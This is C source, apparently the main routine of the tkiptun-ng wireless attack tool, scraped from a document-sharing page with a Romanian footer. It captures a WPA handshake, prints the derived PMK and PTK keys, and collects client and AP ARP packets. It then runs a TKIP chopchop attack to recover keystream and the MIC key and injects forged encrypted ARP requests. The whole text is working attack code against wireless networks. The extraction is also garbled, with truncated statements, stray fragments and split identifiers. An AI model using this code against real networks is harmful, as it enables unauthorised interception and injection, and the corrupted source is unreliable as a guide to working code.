opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.npackets = -1; opt.delay = 15; opt.bittest = 0; opt.fast = -1; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL; /* XXX */

#if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"pmk", 1, 0, 'P'}, {"psk", 1, 0, 'p'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' :

if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_minlen_set=1; break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_maxlen_set=1; break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) {

printf( "Invalid number of packets per second. [1-1024]\n" ) ; printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != { printf( "Invalid AP MAC address.\n" printf("\"%s --help\" for help.\n", return( 1 ); } if( getmac( optarg, 1, opt.f_bssid ) != { printf( "Invalid AP MAC address.\n" printf("\"%s --help\" for help.\n", return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.wpa.stmac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; 0 ) ); argv[0]); 0 ) ); argv[0]);

case 'D' : opt.nodetect = 1; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_i n)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'Z' : opt.fast = 0; break; case 'H' : printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _R EVISION, _BETA) ); return( 1 ); case 'K' : i = 0 ; n = 0; s = optarg;

while( s[i] != '\0' ) { if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( sscanf( buf, "%x", &n ) == 1 ) { if ( n < 0 || n > 255 ) { printf( "Invalid keystream.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.oldkeystream[opt.oldkeystreamlen] = n ; opt.oldkeystreamlen++; if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } break; case 'P' : memset( opt.pmk, 0, sizeof( opt.pmk ) ); i = hexStringToHex(optarg, strlen(optarg), opt.pmk); opt.got_pmk = 1; break; case 'p' : memset( opt.psk, 0, sizeof( opt.psk ) ); if( strlen(optarg) < 8 || strlen(optarg) > 63) { printf("PSK with invalid length specified [8-64].\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } strncpy( opt.psk, optarg, sizeof( opt.psk ) - 1 ); opt.got_psk = 1; break; case 'M' : ret = sscanf( optarg, "%d", &opt.mic_failure_interval ); if( opt.mic_failure_interval < 0 ) { printf( "Invalid MIC error timeout. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break;

default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _R EVISION, _BETA) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( !opt.r_smac_set ) { printf( "A Client MAC must be specified (-h).\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0;

} if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out;

dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { opt.r_nbpps = 10; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 )

{ memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02 X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[ 3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) ! = 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt .r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } /* DO MICHAEL TEST */ bzero(buf, 128); memcpy(buf, "M", 1); i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsign ed char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f"); PCT; printf("Michael Test: %s\n", i ? "Successful" : "Failed"); /* END MICHAEL TEST*/ if(getnet(NULL, 0, 0) != 0) return 1; PCT; printf("Found specified AP\n"); got_hdsk=0; while(1) { getHDSK(); for(i=0; i<10; i++) { read_sleep(500000); if(opt.wpa.state == 7) { got_hdsk = 1; break; } } if(got_hdsk) break; } if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1) { calc_pmk(opt.psk, opt.r_essid, opt.pmk);

PCT; printf("PSK: %s\n", opt.psk); PCT; printf("PMK: "); for(i=0; i<31; i++) printf("%02X:", opt.pmk[i]); printf("%02X\n", opt.pmk[31]); opt.got_pmk = 1; } if(opt.got_pmk) { opt.wpa_sta.next = NULL; memcpy(opt.wpa_sta.stmac, opt.r_smac, 6); memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6); memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32); memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32); memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20); memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256); opt.wpa_sta.eapol_size = opt.wpa.eapol_size; opt.wpa_sta.keyver = opt.wpa.keyver; opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk ); PCT; printf("PTK: "); for(i=0; i<79; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[79]); PCT; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" ) ; if(opt.wpa_sta.valid_ptk) opt.got_ptk = 1; PCT; printf("KCK: "); for(i=0; i<15; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[15]); PCT; printf("KEK: "); for(i=16; i<31; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[31]); PCT; printf("Temporal Encryption Key (TK1): "); for(i=32; i<47; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[47]); PCT; printf("Michael Key (FromDS): "); for(i=48; i<55; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[55]); PCT; printf("Michael Key (ToDS): "); for(i=56; i<63; i++) printf("%02X:", opt.wpa_sta.ptk[i]); printf("%02X\n", opt.wpa_sta.ptk[63]); } /* Select ToDS ARP from Client */ PCT; printf("Waiting for an ARP packet coming from the Client...\n"); opt.f_tods = 1;

opt.f_fromds = 0; memcpy(opt.f_smac, opt.r_smac, 6); // memcpy(opt.f_dmac, opt.f_bssid, 6); if(opt.fast == -1) opt.fast = 1; if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 80; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); //if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet2, h80211, caplen); packet2_len = caplen; /* Select FromDS ARP to Client */ PCT; printf("Waiting for an ARP response packet coming from the AP...\n"); opt.f_tods = 0; opt.f_fromds = 1; memcpy(opt.f_dmac, opt.r_smac, 6); memcpy(opt.f_smac, NULL_MAC, 6); if(opt.f_minlen_set == 0) { opt.f_minlen = 80; } if(opt.f_maxlen_set == 0) { opt.f_maxlen = 98; } while(1) { if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); //if( is_qos_arp_tkip(h80211, caplen) == 1 ) break; } memcpy(packet1, h80211, caplen); packet1_len = caplen; PCT; printf("Got the answer!\n"); PCT; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without i nterfering.\n"); read_sleep(10*1000000); memcpy(h80211, packet1, packet1_len);

/* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */ do_attack_tkipchop(h80211, caplen); /* derive IPs and MACs; relays on QoS, ARP and fromDS packet */ if(opt.chopped_from_plain != NULL) { memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4); memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4); memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6); } PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt. r_apmac[4],opt.r_apmac[5], opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]); PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_sm ac[4],opt.r_smac[5], opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]); /* Send an ARP Request from the AP to the Client */ build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request i nto h80211 send_packet(h80211, caplen); PCT; printf("Sent encrypted tkip ARP request to the client.\n"); /* wait until we can generate a new mic failure */ PCT; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt. mic_failure_interval); while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fai l.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) break; sleep(1); } /* Also chop the answer to get the equivalent MIC Key */ memcpy(h80211, packet2, packet2_len); do_attack_tkipchop(h80211, caplen); /* that's all, folks */ return( 0 ); }

S-ar putea să vă placă și